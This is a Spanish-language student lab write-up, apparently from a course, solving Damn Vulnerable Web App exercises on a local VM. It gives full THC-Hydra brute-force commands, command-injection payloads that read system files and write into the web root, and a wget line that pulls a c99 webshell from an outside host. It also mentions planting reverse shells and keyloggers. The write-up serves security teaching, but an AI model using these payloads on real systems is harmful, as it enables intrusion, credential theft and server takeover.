Sei sulla pagina 1di 14

En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de

ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar
el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en
http://www.dvwa.co.uk/
Estos ejercicios pretenden ser una guía práctica de posibles vulnerabilidades a encontrar en el
mundo real, la aplicación web tiene un área de configuración en la que podremos establecer el
nivel de seguridad. Para llevar a cabo la mayor parte de estos ejercicios se establecerá el nivel
de seguridad en “medio” o nivel 2 de 3. En aquellos casos en los que el nivel de seguridad se
haya bajado a “Low” se indicará pertinentemente.

Testeando el funcionamiento de la web.


Cookies

Valiéndonos de la aplicación Burp Suite, somos capaces de ver la “conversación” entre el


navegador y el servidor web. Así veremos aquellos parámetros que permanecen transparentes
al usuario. De esta forma tendremos mejor idea de cómo está construida la web y el
funcionamiento de la misma.
En nuestro proxy, que actúa interceptando el tráfico, podemos ver la información que se envía
y se devuelve.

Vemos que como variables de sesión se guarda el nivel de seguridad, una variable llamada _ga,
una cookie de sesión en PHPESSID y una variable tz que almacena la zona horaria.

Si modificamos el valor almacenado en PHPESSID, la web nos desloggea automáticamente. Lo


mismo ocurre si deshabilitamos el funcionamiento de las cookies.

Brute Force

Este apartado de la máquina virtual nos propone un ejercicio de averiguar usuarios y


contraseñas mediante la técnica de la Fuerza Bruta. Para llevar a cabo este tipo de ataque
deberemos utilizar algún software destinado.

La técnica de la fuerza Bruta consiste en la prueba y error de diferentes palabras en los campos
“Username” y “Password” hasta que consigue alguna de las credenciales legítimas. Este ataque
nos permitirá acceder a la aplicación web como si fuéramos el usuario.
Un buen sistema para evitar ser víctima de este tipo de ataque es mantener una buena política
de contraseñas, de longitud adecuada, con restricciones de obligatorio cumplimiento como el
uso de caracteres numéricos y de puntuación y un cambio periódico de las contraseñas.

Se recomienda esta periodicidad en el cambio de contraseñas ya que este tipo de ataque exige
una cantidad significativa de computación y por tanto requiere de tiempo y capacidad de
procesado para llevarse a cabo.

Además, necesitaremos un buen diccionario para realizar las pruebas de usuario y contraseña.

En este caso se realizará el ataque utilizando el programa THC-Hydra.

hydra -v -V -o dvwa.txt -l admin -P pass_habituales.txt 192.168.1.107 http-get-form


“/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome
to the password protected area “

hydra -v -V -o dvwa.txt -l admin -P pass_habituales.txt 192.168.1.107 http-get-form


/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:F=username
and/or password incorrect.”

Podemos probar las cuentas de otros usuarios del mismo modo, esta vez cargaremos un
usuario para cada password, estos usuarios están almacenados en el fichero nombres.txt

hydra -v -V -o dvwa.txt –L nombres.txt -P pass_habituales.txt 192.168.1.107 http-get-form


/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome
to the password protected area ”

El programa comienza a repetir iterativamente la misma secuencia en la que comprueba las


contraseñas almacenadas en pass_habituales.txt una vez termina de ejecutar almacena el
resultado en un fichero dvwa.txt
Cuando el programa termina nos arroja las contraseñas válidas que ha encontrado,
procedemos a comprobar que es correcto.

Username=admin : password=admin

En niveles de seguridad más avanzados habrá que tener en cuenta otro tipo de restricciones,
como el tiempo de espera entre intento e intento y el número de intentos máximo antes de
ser bloqueados.
Command Execution

Nivel de seguridad: medio.

Aquí la restricción de código viene limitada y con un filtro de caracteres para evitar los más
comunes, sin embargo, el programador de la página no bloqueó el carácter ‘|’ así pues,
podremos ejecutar comandos siempre y cuando los precedamos por una dirección ip válida. El
sistema del servidor web realizará el ping y después ejecutará el segundo comando.
En Burp Suite observamos que en la variable “ip” enviamos la dirección y ésta va precedida por
el carácter | y el comando ls

127.0.0.1 | uname –a (listar información del servidor)

Linux vulnerablewebapps 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015
x86_64 GNU/Linux

127.0.0.1 |whoami (ver qué usuario está ejecutando los comandos)

www-data

127.0.0.1 |id (más información sobre el usuario que tenemos)

uid=33(www-data) gid=33(www-data) groups=33(www-data)


127.0.0.1 | ps axjf (listar los procesos que están corriendo en la máquina)

127.0.0.1 |find /etc -type f -perm -4 -print 2> /dev/null (mostramos los ficheros en los que el
usuario www-data tiene permiso de lectura)

127.0.0.1 | ls –alh /home/*/ (listado de los usuarios creados en la máquina)


total 28K

drwxr-xr-x 3 va va 4.0K Apr 2 2015 .

drwxr-xr-x 3 root root 4.0K Mar 29 2015 ..

-rw-rw-r-- 1 va va 74 Oct 1 04:22 .bash_history

-rw-r--r-- 1 va va 220 Mar 29 2015 .bash_logout

-rw-r--r-- 1 va va 3.6K Mar 29 2015 .bashrc

drwx------ 2 va va 4.0K Mar 29 2015 .cache

-rw-r--r-- 1 va va 675 Mar 29 2015 .profile

127.0.0.1 |ls -alh /etc (podemos ver el contenido de carpetas sensibles)


En este caso mostramos el contenido de la carpeta /etc donde encontramos los ficheros
passwd o shadow

127.0.0.1 | cat /etc/crontab (podemos leer incluso el contenido de ficheros sensibles)

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command

17 * *** root cd / && run-parts --report /etc/cron.hourly

25 6 *** root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily


)

47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report


/etc/cron.weekly )

52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report


/etc/cron.monthly )

127.0.0.1 |find / -type f -perm -2 -print 2> /dev/null (buscamos los ficheros con permiso de
escritura)

/var/www/html/peruggia/includes/mysql.php

/var/www/html/peruggia/includes/login.php

/var/www/html/peruggia/includes/learn.php

/var/www/html/peruggia/includes/comment.php

/var/www/html/peruggia/includes/updel.php

/var/www/html/peruggia/includes/main.php

/var/www/html/peruggia/includes/account.php

/var/www/html/peruggia/about.html
/var/www/html/peruggia/style.css

/var/www/html/peruggia/install.php

/var/www/html/peruggia/index.php

/var/www/html/peruggia/conf.php

/var/www/html/peruggia/images/lolhax.jpg

/var/www/html/peruggia/background.png

/var/www/html/peruggia/logo.png

/run/sendmail/mta/smsocket

/sys/fs/cgroup/systemd/user/1000.user/c1.session/cgroup.event_control

/sys/fs/cgroup/systemd/user/1000.user/cgroup.event_control

/sys/fs/cgroup/systemd/user/cgroup.event_control

/sys/fs/cgroup/systemd/cgroup.event_control

/sys/kernel/security/apparmor/.access

/proc/sys/kernel/ns_last_pid

/proc/1/task/1/attr/current

/proc/1/task/1/attr/exec

/proc/1/task/1/attr/fscreate

/proc/1/task/1/attr/keycreate

/proc/1/task/1/attr/sockcreate

/proc/1/attr/current

/proc/1/attr/exec

/proc/1/attr/fscreate

/proc/1/attr/keycreate

/proc/1/attr/sockcreate

/proc/2/task/2/attr/current

(…)

/proc/22411/task/22411/attr/sockcreate

/proc/22411/attr/current

/proc/22411/attr/exec

/proc/22411/attr/fscreate

/proc/22411/attr/keycreate
/proc/22411/attr/sockcreate

En estas ubicaciones, siendo el usuario www-data podemos escribir y almacenar nuestros


archivos.

127.0.0.1 | touch /var/www/html/peruggia/insert.txt (comprobamos que podemos crear


ficheros en el servidor)

127.0.0.1 | ls /var/www/html/peruggia/

127.0.0.1 | whoami >> /var/www/html/peruggia/insert.txt (podemos escribir en el fichero)

127.0.0.1 | cat /var/www/html/peruggia/insert.txt

www-data

127.0.0.1 | wget -P /var/www/html/peruggia/ http://www.r57c99.com/1512644679-


c99txt.html (podemos descargar una webshell en esta carpeta, del mismo modo podríamos
haber descargado un rootkit o alguna otra herramienta)

127.0.0.1 | ls /var/www/html/peruggia/

En este punto podemos asegurar que el servidor ha sido vulnerado. Un atacante podría ir
registrando información del sistema en el fichero insert.txt regularmente e incluso podría
descargar tantos complementos como quisiera. Hemos visto en la información recabada
anteriormente que el servidor tiene instalado Python y podríamos desarrollar una Shell
inversa, descargarla en la carpeta /var/www/html/peruggia y ejecutar el programa, aquí el
problema de seguridad se vuelve serio ya que un keylogger o algún otro tipo de herramienta
similar acabaría proporcionando información como contraseñas y usuarios o incluso
podríamos descargar alguna aplicación que nos permitiera elevar nuestros privilegios dentro
del sistema. Además hemos comprobado que podemos revisar la configuración del sistema, el
software que tiene instalado, los usuarios y sus permisos.

En este caso, al haber subido una webshell lo que deberíamos hacer es acceder a esta
localización desde la web, nos dará acceso total a la aplicación web.

Potrebbero piacerti anche